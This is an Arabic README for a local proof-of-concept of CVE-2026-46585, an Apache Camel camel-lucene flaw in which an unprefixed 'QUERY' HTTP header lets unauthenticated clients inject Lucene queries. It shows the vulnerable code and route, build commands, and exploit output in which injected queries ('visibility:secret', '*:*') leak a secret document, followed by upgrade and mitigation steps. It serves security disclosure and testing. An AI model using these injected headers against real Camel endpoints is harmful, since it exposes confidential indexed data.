
أداة إعادة إنتاج لـ CVE-2026-46585: حقن رأس QUERY في camel-lucene من Apache Camel مما يتيح تجاوز التصريح / تسريب بيانات الفهرس (تم الإصلاح في الإصدارات 4.14.8/4.18.3/4.21.0)
QUERY في camel-lucene (CVE-2026-46585)يوضح هذا المشروع حقن رأس الرسالة / تجاوز التفويض في مكوّن camel-lucene من Apache Camel، المُتتبَّع باسم CVE-2026-46585. يقرأ منتِج استعلام Lucene عبارة البحث بالنص الكامل من رأس Exchange، ولكن اسم الرأس كان السلسلة النصية البسيطة QUERY (و**RETURN_LUCENE_DOCS** لعلم المستندات). نظرًا لأن هذه الأسماء لا تبدأ بالبادئة Camel / camel، فإن HttpHeaderFilterStrategy — الذي يحجب فقط نطاق رؤوس Camel على حدود HTTP — يسمح لها بالمرور من طلب HTTP وارد مباشرةً إلى Exchange. يمكن لأي عميل HTTP يصادف مسارًا يكشف استعلام Lucene خلف مستهلك HTTP أن يضبط رأس QUERY وينفذ قيمته مقابل الفهرس، .
يُظهر إثبات المفهوم هذا التأثير على أنه تجاوز تفويض / تسريب بيانات: يقوم عميل غير مصادَق بحقن صيغة استعلام Lucene أولية لقراءة مستند لم يكن نقطة نهاية البحث العامة مخصصة لإرجاعه (ويقوم استعلام المطابقة الكلية بتفريغ الفهرس بأكمله).
الإشعار الأمني: https://camel.apache.org/security/CVE-2026-46585.html
| الخاصية | القيمة |
|---|---|
| المكوّن | camel-lucene |
| الفئة المتأثرة | org.apache.camel.component.lucene.LuceneQueryProducer يقرأ LuceneConstants.HEADER_QUERY (القيمة "QUERY") |
| CWE | CWE-20 (تحقق غير صحيح من الإدخال) / CWE-639 (تجاوز التفويض عبر مفتاح يتحكم فيه المستخدم) |
| التأثير | يضبط عميل HTTP رأس QUERY ← تنفيذ استعلام Lucene عشوائي ← قراءة مستندات خارج النطاق المقصود، أو استعلامات regex تستهلك وحدة المعالجة المركزية |
| المتطلبات المسبقة | مسار يكشف منتِج lucene:...:query خلف مستهلك HTTP (مثل platform-http)؛ غير مصادَق عليه عندما يكون المستهلك كذلك |
| الإصدارات المتأثرة | من 4.0.0 قبل 4.14.8، من 4.15.0 قبل 4.18.3، من 4.19.0 قبل 4.21.0 |
| الإصدارات المُصحّحة | 4.14.8، 4.18.3، 4.21.0 |
| JIRA | CAMEL-23509 |
| المُبلِّغ | Andrea Cosentino (مؤسسة Apache Software Foundation) وYu Bao (PayPal) |
نفس عائلة حقن الرأس مثل CVE-2025-27636، CVE-2026-40453، CVE-2026-46454 وCVE-2026-46457، وتشترك في السبب الجذري للثابت غير المُسبوق بـ
Camelمع الأخ الشقيق camel-elasticsearchSEARCH_QUERY.
// LuceneConstants (متأثر 4.18.2) — اسم الرأس هو الكلمة المجردة "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";
// LuceneQueryProducer.process (متأثر 4.18.2) — تأتي العبارة مباشرة من ذلك الرأس:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
searcher.open(indexDirectory, analyzer);
hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs); // يتحكم به المهاجم
}
يقوم LuceneSearcher بتحليل العبارة باستخدام QueryParser("contents", analyzer) كلاسيكي، لذا يحصل المهاجم على صيغة استعلام Lucene كاملة: مصطلحات حقلية (visibility:secret)، مطابقة كلية (*:*)، أحرف بدل، وتعبيرات منتظمة مكلفة.
يقوم الإصلاح (4.14.8 / 4.18.3 / 4.21.0، CAMEL-23509) بإعادة تسمية قيم الرأس وفقًا لاتفاقية Camel — HEADER_QUERY من QUERY إلى CamelLuceneQuery، وHEADER_RETURN_LUCENE_DOCS إلى CamelLuceneReturnLuceneDocs — بحيث يتم تصفيتها على حدود HTTP مثل أي رأس تحكم Camel آخر. أسماء الحقول الثابتة لم تتغير (المسارات التي تشير إلى LuceneConstants.HEADER_QUERY تستمر في العمل)؛ إنه تغيير جذري فقط للمسارات التي تضبط/تقرأ هذه الرؤوس بقيمتها النصية الخام.
from("platform-http:/search")
.removeHeaders("Camel*") // تحصين موثق — انظر أدناه
.to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
.process(/* عرض Hits كنص */);
نموذج أمان كاتب المسار هو "نقطة النهاية هذه تخدم فقط البحث العام". كتحصين موثق، يقوم المسار حتى بإزالة نطاق رؤوس التحكم الخاصة بـ Camel على الحافة باستخدام removeHeaders("Camel*"). هذا لا يساعد: اسم رأس التحكم هو QUERY، وليس CamelLuceneQuery، لذا لا يتم إزالته بواسطة ذلك الاستدعاء ولا بواسطة مرشح رأس HTTP المدمج — وهو بالضبط جوهر الثغرة (وما يعالجه تغيير اسم الإصلاح).
يحتوي الفهرس على ثلاثة مستندات عامة بالإضافة إلى مستند سري واحد مُوسوم بـ visibility:secret يحمل جسمه علامة علمية غير ضارة. بحث عام عادي (QUERY=onboarding، مصطلح بسيط ضد الحقل الافتراضي contents) لا يُرجعه أبدًا؛ الاستعلام الحقلي المُحقن يفعل ذلك.
الـ ضحية هو مسار بحث Camel والفهرس الخاص به؛ الـ مهاجم هو عميل HTTP غير مصادَق يضبط رأس طلب فقط. كل شيء يعمل في تطبيق واحد مستقل.
CVE-2026-46585/
├── pom.xml # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml # خدمة واحدة مستقلة
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── IndexConfig.java # يسجل دليل الفهرس كـ Camel bean (#kbIndexDir)
│ ├── IndexBootstrap.java # يبني فهرس Lucene: 3 مستندات عامة + مستند سري واحد (العلم)
│ ├── VictimRoute.java # from("platform-http:/search").to("lucene:kb:query")
│ └── ExploitController.java # المهاجم: GET /search مع رأس QUERY محقون
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
=== 1) بحث عام مشروع (QUERY=onboarding) ===
hits=2
- Frequently asked questions about billing and account onboarding.
- Welcome onboarding guide: how to use the public knowledge base and search for articles.
secret leaked: false
=== 2) استعلام محقون (QUERY=visibility:secret) ===
hits=1
- CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
secret leaked: true
=== 3) استعلام مطابقة كلية (QUERY=*:*) يُفرِّغ الفهرس بأكمله ===
hits=4
- ... (كل مستند، بما في ذلك المستند السري) ...
>>> إثبات تجاوز التفويض / حقن الرأس — عميل HTTP غير مصادَق قرأ مستندًا
>>> خارج النطاق المقصود لنقطة النهاية عن طريق حقن رأس QUERY: true
يبحث مصطلح البحث المشروع فقط عن المستندات العامة. طلب الهجوم — الذي لا يختلف إلا بقيمة رأس واحد كان يجب على الإطار تصفيته — يقرأ المستند السري، ويعيد استعلام المطابقة الكلية الفهرس بأكمله.
أي مسار يحتوي على منتِج lucene:...:query يمكن الوصول إليه من مستهلك HTTP. بالإضافة إلى قراءة مستندات غير مقصودة، يمكن للمهاجم:
*:* أو شرط حقل مختلف (تجاوز التفويض).قم بالترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23509). بعد الترقية، يجب على المسارات التي تضبط الاستعلام عبر اسم الرأس الخام استخدام CamelLuceneQuery (و**CamelLuceneReturnLuceneDocs**) بدلاً من QUERY / RETURN_LUCENE_DOCS؛ يتم تصفية هذه الأسماء المُسبوقة بـ Camel على حدود HTTP مثل أي رأس تحكم آخر.
حتى الترقية:
.removeHeader("QUERY") و.removeHeader("RETURN_LUCENE_DOCS")، ثم .setHeader("QUERY", constant(...)) (أو قم ببنائه من إدخال مُتحقق منه) في بداية المسار.هذه الأداة مُقدّمة للبحث الأمني والاختبار المصرح به فقط، لثغرة مُعلنة علنًا ومُصحّحة. لا تستخدمها ضد أنظمة دون إذن صريح.